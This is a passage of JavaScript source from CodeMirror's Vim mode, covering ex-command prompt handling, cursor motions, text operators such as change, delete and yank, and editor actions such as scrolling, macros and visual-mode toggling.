          // Give the prompt some time to close so that if processCommand shows
          // an error, the elements don't overlap.
          vimGlobalState.exCommandHistoryController.pushInput(input);
          vimGlobalState.exCommandHistoryController.reset();
          exCommandDispatcher.processCommand(cm, input);
        }
        function onPromptKeyDown(e, input, close) {
          var keyName = CodeMirror.keyName(e), up;
          if (keyName == 'Esc' || keyName == 'Ctrl-C' || keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && input == '')) {
            vimGlobalState.exCommandHistoryController.pushInput(input);
            vimGlobalState.exCommandHistoryController.reset();
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          }
          if (keyName == 'Up' || keyName == 'Down') {
            up = keyName == 'Up' ? true : false;
            input = vimGlobalState.exCommandHistoryController.nextMatch(input, up) || '';
            close(input);
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          } else {
            if ( keyName != 'Left' && keyName != 'Right' && keyName != 'Ctrl' && keyName != 'Alt' && keyName != 'Shift')
              vimGlobalState.exCommandHistoryController.reset();
          }
        }
        if (command.type == 'keyToEx') {
          // Handle user defined Ex to Ex mappings
          exCommandDispatcher.processCommand(cm, command.exArgs.input);
        } else {
          if (vim.visualMode) {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':', value: '\'<,\'>',
                onKeyDown: onPromptKeyDown});
          } else {
            showPrompt(cm, { onClose: onPromptClose, prefix: ':',
                onKeyDown: onPromptKeyDown});
          }
        }
      },
      evalInput: function(cm, vim) {
        // If the motion comand is set, execute both the operator and motion.
        // Otherwise return.
        var inputState = vim.inputState;
        var motion = inputState.motion;
        var motionArgs = inputState.motionArgs || {};
        var operator = inputState.operator;
        var operatorArgs = inputState.operatorArgs || {};
        var registerName = inputState.registerName;
        var sel = vim.sel;
        // TODO: Make sure cm and vim selections are identical outside visual mode.
        var origHead = copyCursor(vim.visualMode ? clipCursorToContent(cm, sel.head): cm.getCursor('head'));
        var origAnchor = copyCursor(vim.visualMode ? clipCursorToContent(cm, sel.anchor) : cm.getCursor('anchor'));
        var oldHead = copyCursor(origHead);
        var oldAnchor = copyCursor(origAnchor);
        var newHead, newAnchor;
        var repeat;
        if (operator) {
          this.recordLastEdit(vim, inputState);
        }
        if (inputState.repeatOverride !== undefined) {
          // If repeatOverride is specified, that takes precedence over the
          // input state's repeat. Used by Ex mode and can be user defined.
          repeat = inputState.repeatOverride;
        } else {
          repeat = inputState.getRepeat();
        }
        if (repeat > 0 && motionArgs.explicitRepeat) {
          motionArgs.repeatIsExplicit = true;
        } else if (motionArgs.noRepeat ||
            (!motionArgs.explicitRepeat && repeat === 0)) {
          repeat = 1;
          motionArgs.repeatIsExplicit = false;
        }
        if (inputState.selectedCharacter) {
          // If there is a character input, stick it in all of the arg arrays.
          motionArgs.selectedCharacter = operatorArgs.selectedCharacter =
              inputState.selectedCharacter;
        }
        motionArgs.repeat = repeat;
        clearInputState(cm);
        if (motion) {
          var motionResult = motions[motion](cm, origHead, motionArgs, vim);
          vim.lastMotion = motions[motion];
          if (!motionResult) {
            return;
          }
          if (motionArgs.toJumplist) {
            var jumpList = vimGlobalState.jumpList;
            // if the current motion is # or *, use cachedCursor
            var cachedCursor = jumpList.cachedCursor;
            if (cachedCursor) {
              recordJumpPosition(cm, cachedCursor, motionResult);
              delete jumpList.cachedCursor;
            } else {
              recordJumpPosition(cm, origHead, motionResult);
            }
          }
          if (motionResult instanceof Array) {
            newAnchor = motionResult[0];
            newHead = motionResult[1];
          } else {
            newHead = motionResult;
          }
          // TODO: Handle null returns from motion commands better.
          if (!newHead) {
            newHead = copyCursor(origHead);
          }
          if (vim.visualMode) {
            if (!(vim.visualBlock && newHead.ch === Infinity)) {
              newHead = clipCursorToContent(cm, newHead, vim.visualBlock);
            }
            if (newAnchor) {
              newAnchor = clipCursorToContent(cm, newAnchor, true);
            }
            newAnchor = newAnchor || oldAnchor;
            sel.anchor = newAnchor;
            sel.head = newHead;
            updateCmSelection(cm);
            updateMark(cm, vim, '<',
                cursorIsBefore(newAnchor, newHead) ? newAnchor
                    : newHead);
            updateMark(cm, vim, '>',
                cursorIsBefore(newAnchor, newHead) ? newHead
                    : newAnchor);
          } else if (!operator) {
            newHead = clipCursorToContent(cm, newHead);
            cm.setCursor(newHead.line, newHead.ch);
          }
        }
        if (operator) {
          if (operatorArgs.lastSel) {
            // Replaying a visual mode operation
            newAnchor = oldAnchor;
            var lastSel = operatorArgs.lastSel;
            var lineOffset = Math.abs(lastSel.head.line - lastSel.anchor.line);
            var chOffset = Math.abs(lastSel.head.ch - lastSel.anchor.ch);
            if (lastSel.visualLine) {
              // Linewise Visual mode: The same number of lines.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            } else if (lastSel.visualBlock) {
              // Blockwise Visual mode: The same number of lines and columns.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch + chOffset);
            } else if (lastSel.head.line == lastSel.anchor.line) {
              // Normal Visual mode within one line: The same number of characters.
              newHead = Pos(oldAnchor.line, oldAnchor.ch + chOffset);
            } else {
              // Normal Visual mode with several lines: The same number of lines, in the
              // last line the same number of characters as in the last line the last time.
              newHead = Pos(oldAnchor.line + lineOffset, oldAnchor.ch);
            }
            vim.visualMode = true;
            vim.visualLine = lastSel.visualLine;
            vim.visualBlock = lastSel.visualBlock;
            sel = vim.sel = {
              anchor: newAnchor,
              head: newHead
            };
            updateCmSelection(cm);
          } else if (vim.visualMode) {
            operatorArgs.lastSel = {
              anchor: copyCursor(sel.anchor),
              head: copyCursor(sel.head),
              visualBlock: vim.visualBlock,
              visualLine: vim.visualLine
            };
          }
          var curStart, curEnd, linewise, mode;
          var cmSel;
          if (vim.visualMode) {
            // Init visual op
            curStart = cursorMin(sel.head, sel.anchor);
            curEnd = cursorMax(sel.head, sel.anchor);
            linewise = vim.visualLine || operatorArgs.linewise;
            mode = vim.visualBlock ? 'block' :
                   linewise ? 'line' :
                   'char';
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode);
            if (linewise) {
              var ranges = cmSel.ranges;
              if (mode == 'block') {
                // Linewise operators in visual block mode extend to end of line
                for (var i = 0; i < ranges.length; i++) {
                  ranges[i].head.ch = lineLength(cm, ranges[i].head.line);
                }
              } else if (mode == 'line') {
                ranges[0].head = Pos(ranges[0].head.line + 1, 0);
              }
            }
          } else {
            // Init motion op
            curStart = copyCursor(newAnchor || oldAnchor);
            curEnd = copyCursor(newHead || oldHead);
            if (cursorIsBefore(curEnd, curStart)) {
              var tmp = curStart;
              curStart = curEnd;
              curEnd = tmp;
            }
            linewise = motionArgs.linewise || operatorArgs.linewise;
            if (linewise) {
              // Expand selection to entire line.
              expandSelectionToLine(cm, curStart, curEnd);
            } else if (motionArgs.forward) {
              // Clip to trailing newlines only if the motion goes forward.
              clipToLine(cm, curStart, curEnd);
            }
            mode = 'char';
            var exclusive = !motionArgs.inclusive || linewise;
            cmSel = makeCmSelection(cm, {
              anchor: curStart,
              head: curEnd
            }, mode, exclusive);
          }
          cm.setSelections(cmSel.ranges, cmSel.primary);
          vim.lastMotion = null;
          operatorArgs.repeat = repeat; // For indent in visual mode.
          operatorArgs.registerName = registerName;
          // Keep track of linewise as it affects how paste and change behave.
          operatorArgs.linewise = linewise;
          var operatorMoveTo = operators[operator](
            cm, operatorArgs, cmSel.ranges, oldAnchor, newHead);
          if (vim.visualMode) {
            exitVisualMode(cm, operatorMoveTo != null);
          }
          if (operatorMoveTo) {
            cm.setCursor(operatorMoveTo);
          }
        }
      },
      recordLastEdit: function(vim, inputState, actionCommand) {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        vim.lastEditInputState = inputState;
        vim.lastEditActionCommand = actionCommand;
        macroModeState.lastInsertModeChanges.changes = [];
        macroModeState.lastInsertModeChanges.expectCursorActivityForChange = false;
      }
    };

    /**
     * typedef {Object{line:number,ch:number}} Cursor An object containing the
     *     position of the cursor.
     */
    // All of the functions below return Cursor objects.
    var motions = {
      moveToTopLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).top + motionArgs.repeat -1;
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToMiddleLine: function(cm) {
        var range = getUserVisibleLines(cm);
        var line = Math.floor((range.top + range.bottom) * 0.5);
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToBottomLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).bottom - motionArgs.repeat +1;
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      expandToLine: function(_cm, head, motionArgs) {
        // Expands forward to end of line, and then to next line if repeat is
        // >1. Does not handle backward motion!
        var cur = head;
        return Pos(cur.line + motionArgs.repeat - 1, Infinity);
      },
      findNext: function(cm, _head, motionArgs) {
        var state = getSearchState(cm);
        var query = state.getQuery();
        if (!query) {
          return;
        }
        var prev = !motionArgs.forward;
        // If search is initiated with ? instead of /, negate direction.
        prev = (state.isReversed()) ? !prev : prev;
        highlightSearchMatches(cm, query);
        return findNext(cm, prev/** prev */, query, motionArgs.repeat);
      },
      goToMark: function(cm, _head, motionArgs, vim) {
        var mark = vim.marks[motionArgs.selectedCharacter];
        if (mark) {
          var pos = mark.find();
          return motionArgs.linewise ? { line: pos.line, ch: findFirstNonWhiteSpaceCharacter(cm.getLine(pos.line)) } : pos;
        }
        return null;
      },
      moveToOtherHighlightedEnd: function(cm, _head, motionArgs, vim) {
        if (vim.visualBlock && motionArgs.sameLine) {
          var sel = vim.sel;
          return [
            clipCursorToContent(cm, Pos(sel.anchor.line, sel.head.ch)),
            clipCursorToContent(cm, Pos(sel.head.line, sel.anchor.ch))
          ];
        } else {
          return ([vim.sel.head, vim.sel.anchor]);
        }
      },
      jumpToMark: function(cm, head, motionArgs, vim) {
        var best = head;
        for (var i = 0; i < motionArgs.repeat; i++) {
          var cursor = best;
          for (var key in vim.marks) {
            if (!isLowerCase(key)) {
              continue;
            }
            var mark = vim.marks[key].find();
            var isWrongDirection = (motionArgs.forward) ?
              cursorIsBefore(mark, cursor) : cursorIsBefore(cursor, mark);

            if (isWrongDirection) {
              continue;
            }
            if (motionArgs.linewise && (mark.line == cursor.line)) {
              continue;
            }

            var equal = cursorEqual(cursor, best);
            var between = (motionArgs.forward) ?
              cursorIsBetween(cursor, mark, best) :
              cursorIsBetween(best, mark, cursor);

            if (equal || between) {
              best = mark;
            }
          }
        }

        if (motionArgs.linewise) {
          // Vim places the cursor on the first non-whitespace character of
          // the line if there is one, else it places the cursor at the end
          // of the line, regardless of whether a mark was found.
          best = Pos(best.line, findFirstNonWhiteSpaceCharacter(cm.getLine(best.line)));
        }
        return best;
      },
      moveByCharacters: function(_cm, head, motionArgs) {
        var cur = head;
        var repeat = motionArgs.repeat;
        var ch = motionArgs.forward ? cur.ch + repeat : cur.ch - repeat;
        return Pos(cur.line, ch);
      },
      moveByLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        var endCh = cur.ch;
        // Depending what our last motion was, we may want to do different
        // things. If our last motion was moving vertically, we want to
        // preserve the HPos from our last horizontal move.  If our last motion
        // was going to the end of a line, moving vertically we should go to
        // the end of the line, etc.
        switch (vim.lastMotion) {
          case this.moveByLines:
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveToColumn:
          case this.moveToEol:
            endCh = vim.lastHPos;
            break;
          default:
            vim.lastHPos = endCh;
        }
        var repeat = motionArgs.repeat+(motionArgs.repeatOffset||0);
        var line = motionArgs.forward ? cur.line + repeat : cur.line - repeat;
        var first = cm.firstLine();
        var last = cm.lastLine();
        // Vim cancels linewise motions that start on an edge and move beyond
        // that edge. It does not cancel motions that do not start on an edge.
        if ((line < first && cur.line == first) ||
            (line > last && cur.line == last)) {
          return;
        }
        if (motionArgs.toFirstChar){
          endCh=findFirstNonWhiteSpaceCharacter(cm.getLine(line));
          vim.lastHPos = endCh;
        }
        vim.lastHSPos = cm.charCoords(Pos(line, endCh),'div').left;
        return Pos(line, endCh);
      },
      moveByDisplayLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        switch (vim.lastMotion) {
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveByLines:
          case this.moveToColumn:
          case this.moveToEol:
            break;
          default:
            vim.lastHSPos = cm.charCoords(cur,'div').left;
        }
        var repeat = motionArgs.repeat;
        var res=cm.findPosV(cur,(motionArgs.forward ? repeat : -repeat),'line',vim.lastHSPos);
        if (res.hitSide) {
          if (motionArgs.forward) {
            var lastCharCoords = cm.charCoords(res, 'div');
            var goalCoords = { top: lastCharCoords.top + 8, left: vim.lastHSPos };
            var res = cm.coordsChar(goalCoords, 'div');
          } else {
            var resCoords = cm.charCoords(Pos(cm.firstLine(), 0), 'div');
            resCoords.left = vim.lastHSPos;
            res = cm.coordsChar(resCoords, 'div');
          }
        }
        vim.lastHPos = res.ch;
        return res;
      },
      moveByPage: function(cm, head, motionArgs) {
        // CodeMirror only exposes functions that move the cursor page down, so
        // doing this bad hack to move the cursor and move it back. evalInput
        // will move the cursor to where it should be in the end.
        var curStart = head;
        var repeat = motionArgs.repeat;
        return cm.findPosV(curStart, (motionArgs.forward ? repeat : -repeat), 'page');
      },
      moveByParagraph: function(cm, head, motionArgs) {
        var dir = motionArgs.forward ? 1 : -1;
        return findParagraph(cm, head, motionArgs.repeat, dir);
      },
      moveByScroll: function(cm, head, motionArgs, vim) {
        var scrollbox = cm.getScrollInfo();
        var curEnd = null;
        var repeat = motionArgs.repeat;
        if (!repeat) {
          repeat = scrollbox.clientHeight / (2 * cm.defaultTextHeight());
        }
        var orig = cm.charCoords(head, 'local');
        motionArgs.repeat = repeat;
        var curEnd = motions.moveByDisplayLines(cm, head, motionArgs, vim);
        if (!curEnd) {
          return null;
        }
        var dest = cm.charCoords(curEnd, 'local');
        cm.scrollTo(null, scrollbox.top + dest.top - orig.top);
        return curEnd;
      },
      moveByWords: function(cm, head, motionArgs) {
        return moveToWord(cm, head, motionArgs.repeat, !!motionArgs.forward,
            !!motionArgs.wordEnd, !!motionArgs.bigWord);
      },
      moveTillCharacter: function(cm, _head, motionArgs) {
        var repeat = motionArgs.repeat;
        var curEnd = moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter);
        var increment = motionArgs.forward ? -1 : 1;
        recordLastCharacterSearch(increment, motionArgs);
        if (!curEnd) return null;
        curEnd.ch += increment;
        return curEnd;
      },
      moveToCharacter: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        recordLastCharacterSearch(0, motionArgs);
        return moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToSymbol: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        return findSymbol(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToColumn: function(cm, head, motionArgs, vim) {
        var repeat = motionArgs.repeat;
        // repeat is equivalent to which column we want to move to!
        vim.lastHPos = repeat - 1;
        vim.lastHSPos = cm.charCoords(head,'div').left;
        return moveToColumn(cm, repeat);
      },
      moveToEol: function(cm, head, motionArgs, vim) {
        var cur = head;
        vim.lastHPos = Infinity;
        var retval= Pos(cur.line + motionArgs.repeat - 1, Infinity);
        var end=cm.clipPos(retval);
        end.ch--;
        vim.lastHSPos = cm.charCoords(end,'div').left;
        return retval;
      },
      moveToFirstNonWhiteSpaceCharacter: function(cm, head) {
        // Go to the start of the line where the text begins, or the end for
        // whitespace-only lines
        var cursor = head;
        return Pos(cursor.line,
                   findFirstNonWhiteSpaceCharacter(cm.getLine(cursor.line)));
      },
      moveToMatchedSymbol: function(cm, head) {
        var cursor = head;
        var line = cursor.line;
        var ch = cursor.ch;
        var lineText = cm.getLine(line);
        var symbol;
        do {
          symbol = lineText.charAt(ch++);
          if (symbol && isMatchableSymbol(symbol)) {
            var style = cm.getTokenTypeAt(Pos(line, ch));
            if (style !== "string" && style !== "comment") {
              break;
            }
          }
        } while (symbol);
        if (symbol) {
          var matched = cm.findMatchingBracket(Pos(line, ch));
          return matched.to;
        } else {
          return cursor;
        }
      },
      moveToStartOfLine: function(_cm, head) {
        return Pos(head.line, 0);
      },
      moveToLineOrEdgeOfDocument: function(cm, _head, motionArgs) {
        var lineNum = motionArgs.forward ? cm.lastLine() : cm.firstLine();
        if (motionArgs.repeatIsExplicit) {
          lineNum = motionArgs.repeat - cm.getOption('firstLineNumber');
        }
        return Pos(lineNum,
                   findFirstNonWhiteSpaceCharacter(cm.getLine(lineNum)));
      },
      textObjectManipulation: function(cm, head, motionArgs, vim) {
        // TODO: lots of possible exceptions that can be thrown here. Try da(
        //     outside of a () block.

        // TODO: adding <> >< to this map doesn't work, presumably because
        // they're operators
        var mirroredPairs = {'(': ')', ')': '(',
                             '{': '}', '}': '{',
                             '[': ']', ']': '['};
        var selfPaired = {'\'': true, '"': true};

        var character = motionArgs.selectedCharacter;
        // 'b' refers to  '()' block.
        // 'B' refers to  '{}' block.
        if (character == 'b') {
          character = '(';
        } else if (character == 'B') {
          character = '{';
        }

        // Inclusive is the difference between a and i
        // TODO: Instead of using the additional text object map to perform text
        //     object operations, merge the map into the defaultKeyMap and use
        //     motionArgs to define behavior. Define separate entries for 'aw',
        //     'iw', 'a[', 'i[', etc.
        var inclusive = !motionArgs.textObjectInner;

        var tmp;
        if (mirroredPairs[character]) {
          tmp = selectCompanionObject(cm, head, character, inclusive);
        } else if (selfPaired[character]) {
          tmp = findBeginningAndEnd(cm, head, character, inclusive);
        } else if (character === 'W') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     true /** bigWord */);
        } else if (character === 'w') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     false /** bigWord */);
        } else if (character === 'p') {
          tmp = findParagraph(cm, head, motionArgs.repeat, 0, inclusive);
          motionArgs.linewise = true;
          if (vim.visualMode) {
            if (!vim.visualLine) { vim.visualLine = true; }
          } else {
            var operatorArgs = vim.inputState.operatorArgs;
            if (operatorArgs) { operatorArgs.linewise = true; }
            tmp.end.line--;
          }
        } else {
          // No text object defined for this, don't move.
          return null;
        }

        if (!cm.state.vim.visualMode) {
          return [tmp.start, tmp.end];
        } else {
          return expandSelection(cm, tmp.start, tmp.end);
        }
      },

      repeatLastCharacterSearch: function(cm, head, motionArgs) {
        var lastSearch = vimGlobalState.lastChararacterSearch;
        var repeat = motionArgs.repeat;
        var forward = motionArgs.forward === lastSearch.forward;
        var increment = (lastSearch.increment ? 1 : 0) * (forward ? -1 : 1);
        cm.moveH(-increment, 'char');
        motionArgs.inclusive = forward ? true : false;
        var curEnd = moveToCharacter(cm, repeat, forward, lastSearch.selectedCharacter);
        if (!curEnd) {
          cm.moveH(increment, 'char');
          return head;
        }
        curEnd.ch += increment;
        return curEnd;
      }
    };

    function defineMotion(name, fn) {
      motions[name] = fn;
    }

    function fillArray(val, times) {
      var arr = [];
      for (var i = 0; i < times; i++) {
        arr.push(val);
      }
      return arr;
    }
    /**
     * An operator acts on a text selection. It receives the list of selections
     * as input. The corresponding CodeMirror selection is guaranteed to
    * match the input selection.
     */
    var operators = {
      change: function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        vimGlobalState.macroModeState.lastInsertModeChanges.inVisualBlock = vim.visualBlock;
        if (!vim.visualMode) {
          var anchor = ranges[0].anchor,
              head = ranges[0].head;
          text = cm.getRange(anchor, head);
          var lastState = vim.lastEditInputState || {};
          if (lastState.motion == "moveByWords" && !isWhiteSpaceString(text)) {
            // Exclude trailing whitespace if the range is not all whitespace.
            var match = (/\s+$/).exec(text);
            if (match && lastState.motionArgs && lastState.motionArgs.forward) {
              head = offsetCursor(head, 0, - match[0].length);
              text = text.slice(0, - match[0].length);
            }
          }
          var wasLastLine = head.line - 1 == cm.lastLine();
          cm.replaceRange('', anchor, head);
          if (args.linewise && !wasLastLine) {
            // Push the next line back down, if there is a next line.
            CodeMirror.commands.newlineAndIndent(cm);
            // null ch so setCursor moves to end of line.
            anchor.ch = null;
          }
          finalHead = anchor;
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = cursorMin(ranges[0].head, ranges[0].anchor);
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'change', text,
            args.linewise, ranges.length > 1);
        actions.enterInsertMode(cm, {head: finalHead}, cm.state.vim);
      },
      // delete is a javascript keyword.
      'delete': function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        if (!vim.visualBlock) {
          var anchor = ranges[0].anchor,
              head = ranges[0].head;
          if (args.linewise &&
              head.line != cm.firstLine() &&
              anchor.line == cm.lastLine() &&
              anchor.line == head.line - 1) {
            // Special case for dd on last line (and first line).
            if (anchor.line == cm.firstLine()) {
              anchor.ch = 0;
            } else {
              anchor = Pos(anchor.line - 1, lineLength(cm, anchor.line - 1));
            }
          }
          text = cm.getRange(anchor, head);
          cm.replaceRange('', anchor, head);
          finalHead = anchor;
          if (args.linewise) {
            finalHead = motions.moveToFirstNonWhiteSpaceCharacter(cm, anchor);
          }
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = ranges[0].anchor;
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'delete', text,
            args.linewise, vim.visualBlock);
        return clipCursorToContent(cm, finalHead);
      },
      indent: function(cm, args, ranges) {
        var vim = cm.state.vim;
        var startLine = ranges[0].anchor.line;
        var endLine = vim.visualBlock ?
          ranges[ranges.length - 1].anchor.line :
          ranges[0].head.line;
        // In visual mode, n> shifts the selection right n times, instead of
        // shifting n lines right once.
        var repeat = (vim.visualMode) ? args.repeat : 1;
        if (args.linewise) {
          // The only way to delete a newline is to delete until the start of
          // the next line, so in linewise mode evalInput will include the next
          // line. We don't want this in indent, so we go back a line.
          endLine--;
        }
        for (var i = startLine; i <= endLine; i++) {
          for (var j = 0; j < repeat; j++) {
            cm.indentLine(i, args.indentRight);
          }
        }
        return motions.moveToFirstNonWhiteSpaceCharacter(cm, ranges[0].anchor);
      },
      changeCase: function(cm, args, ranges, oldAnchor, newHead) {
        var selections = cm.getSelections();
        var swapped = [];
        var toLower = args.toLower;
        for (var j = 0; j < selections.length; j++) {
          var toSwap = selections[j];
          var text = '';
          if (toLower === true) {
            text = toSwap.toLowerCase();
          } else if (toLower === false) {
            text = toSwap.toUpperCase();
          } else {
            for (var i = 0; i < toSwap.length; i++) {
              var character = toSwap.charAt(i);
              text += isUpperCase(character) ? character.toLowerCase() :
                  character.toUpperCase();
            }
          }
          swapped.push(text);
        }
        cm.replaceSelections(swapped);
        if (args.shouldMoveCursor){
          return newHead;
        } else if (!cm.state.vim.visualMode && args.linewise && ranges[0].anchor.line + 1 == ranges[0].head.line) {
          return motions.moveToFirstNonWhiteSpaceCharacter(cm, oldAnchor);
        } else if (args.linewise){
          return oldAnchor;
        } else {
          return cursorMin(ranges[0].anchor, ranges[0].head);
        }
      },
      yank: function(cm, args, ranges, oldAnchor) {
        var vim = cm.state.vim;
        var text = cm.getSelection();
        var endPos = vim.visualMode
          ? cursorMin(vim.sel.anchor, vim.sel.head, ranges[0].head, ranges[0].anchor)
          : oldAnchor;
        vimGlobalState.registerController.pushText(
            args.registerName, 'yank',
            text, args.linewise, vim.visualBlock);
        return endPos;
      }
    };

    function defineOperator(name, fn) {
      operators[name] = fn;
    }

    var actions = {
      jumpListWalk: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat;
        var forward = actionArgs.forward;
        var jumpList = vimGlobalState.jumpList;

        var mark = jumpList.move(cm, forward ? repeat : -repeat);
        var markPos = mark ? mark.find() : undefined;
        markPos = markPos ? markPos : cm.getCursor();
        cm.setCursor(markPos);
      },
      scroll: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat || 1;
        var lineHeight = cm.defaultTextHeight();
        var top = cm.getScrollInfo().top;
        var delta = lineHeight * repeat;
        var newPos = actionArgs.forward ? top + delta : top - delta;
        var cursor = copyCursor(cm.getCursor());
        var cursorCoords = cm.charCoords(cursor, 'local');
        if (actionArgs.forward) {
          if (newPos > cursorCoords.top) {
             cursor.line += (newPos - cursorCoords.top) / lineHeight;
             cursor.line = Math.ceil(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(null, cursorCoords.top);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll window.
             cm.scrollTo(null, newPos);
          }
        } else {
          var newBottom = newPos + cm.getScrollInfo().clientHeight;
          if (newBottom < cursorCoords.bottom) {
             cursor.line -= (cursorCoords.bottom - newBottom) / lineHeight;
             cursor.line = Math.floor(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(
                 null, cursorCoords.bottom - cm.getScrollInfo().clientHeight);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll window.
             cm.scrollTo(null, newPos);
          }
        }
      },
      scrollToCursor: function(cm, actionArgs) {
        var lineNum = cm.getCursor().line;
        var charCoords = cm.charCoords(Pos(lineNum, 0), 'local');
        var height = cm.getScrollInfo().clientHeight;
        var y = charCoords.top;
        var lineHeight = charCoords.bottom - y;
        switch (actionArgs.position) {
          case 'center': y = y - (height / 2) + lineHeight;
            break;
          case 'bottom': y = y - height + lineHeight*1.4;
            break;
          case 'top': y = y + lineHeight*0.4;
            break;
        }
        cm.scrollTo(null, y);
      },
      replayMacro: function(cm, actionArgs, vim) {
        var registerName = actionArgs.selectedCharacter;
        var repeat = actionArgs.repeat;
        var macroModeState = vimGlobalState.macroModeState;
        if (registerName == '@') {
          registerName = macroModeState.latestRegister;
        }
        while(repeat--){
          executeMacroRegister(cm, vim, macroModeState, registerName);
        }
      },
      enterMacroRecordMode: function(cm, actionArgs) {
        var macroModeState = vimGlobalState.macroModeState;
        var registerName = actionArgs.selectedCharacter;
        macroModeState.enterMacroRecordMode(cm, registerName);
      },
      enterInsertMode: function(cm, actionArgs, vim) {
        if (cm.getOption('readOnly')) { return; }
        vim.insertMode = true;
        vim.insertModeRepeat = actionArgs && actionArgs.repeat || 1;
        var insertAt = (actionArgs) ? actionArgs.insertAt : null;
        var sel = vim.sel;
        var head = actionArgs.head || cm.getCursor('head');
        var height = cm.listSelections().length;
        if (insertAt == 'eol') {
          head = Pos(head.line, lineLength(cm, head.line));
        } else if (insertAt == 'charAfter') {
          head = offsetCursor(head, 0, 1);
        } else if (insertAt == 'firstNonBlank') {
          head = motions.moveToFirstNonWhiteSpaceCharacter(cm, head);
        } else if (insertAt == 'startOfSelectedArea') {
          if (!vim.visualBlock) {
            if (sel.head.line < sel.anchor.line) {
              head = sel.head;
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.min(sel.head.ch, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'endOfSelectedArea') {
          if (!vim.visualBlock) {
            if (sel.head.line >= sel.anchor.line) {
              head = offsetCursor(sel.head, 0, 1);
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.max(sel.head.ch + 1, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'inplace') {
          if (vim.visualMode){
            return;
          }
        }
        cm.setOption('keyMap', 'vim-insert');
        cm.setOption('disableInput', false);
        if (actionArgs && actionArgs.replace) {
          // Handle Replace-mode as a special case of insert mode.
          cm.toggleOverwrite(true);
          cm.setOption('keyMap', 'vim-replace');
          CodeMirror.signal(cm, "vim-mode-change", {mode: "replace"});
        } else {
          cm.setOption('keyMap', 'vim-insert');
          CodeMirror.signal(cm, "vim-mode-change", {mode: "insert"});
        }
        if (!vimGlobalState.macroModeState.isPlaying) {
          // Only record if not replaying.
          cm.on('change', onChange);
          CodeMirror.on(cm.getInputField(), 'keydown', onKeyEventTargetKeyDown);
        }
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        selectForInsert(cm, head, height);
      },
      toggleVisualMode: function(cm, actionArgs, vim) {
        var repeat = actionArgs.repeat;
        var anchor = cm.getCursor();
        var head;
        // TODO: The repeat should actually select number of characters/lines
        //     equal to the repeat times the size of the previous visual
        //     operation.
        if (!vim.visualMode) {
          // Entering visual mode
          vim.visualMode = true;
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          head = clipCursorToContent(
              cm, Pos(anchor.line, anchor.ch + repeat - 1),
              true /** includeLineBreak */);
          vim.sel = {
            anchor: anchor,
            head: head
          };
          CodeMirror.signal(cm, "vim-mode-change", {mode: "visual", subMode: vim.visualLine ? "linewise" : vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
        } else if (vim.visualLine ^ actionArgs.linewise ||
            vim.visualBlock ^ actionArgs.blockwise) {
          // Toggling between modes
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          CodeMirror.signal(cm, "vim-mode-change", {mode: "visual", subMode: vim.visualLine ? "linewise" : vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
        } else {
          exitVisualMode(cm);
        }
      },
      reselectLastSelection: function(cm, _actionArgs, vim) {
        var lastSelection = vim.lastSelection;
        if (vim.visualMode) {
          updateLastSelection(cm, vim);
        }
        if (lastSelection) {
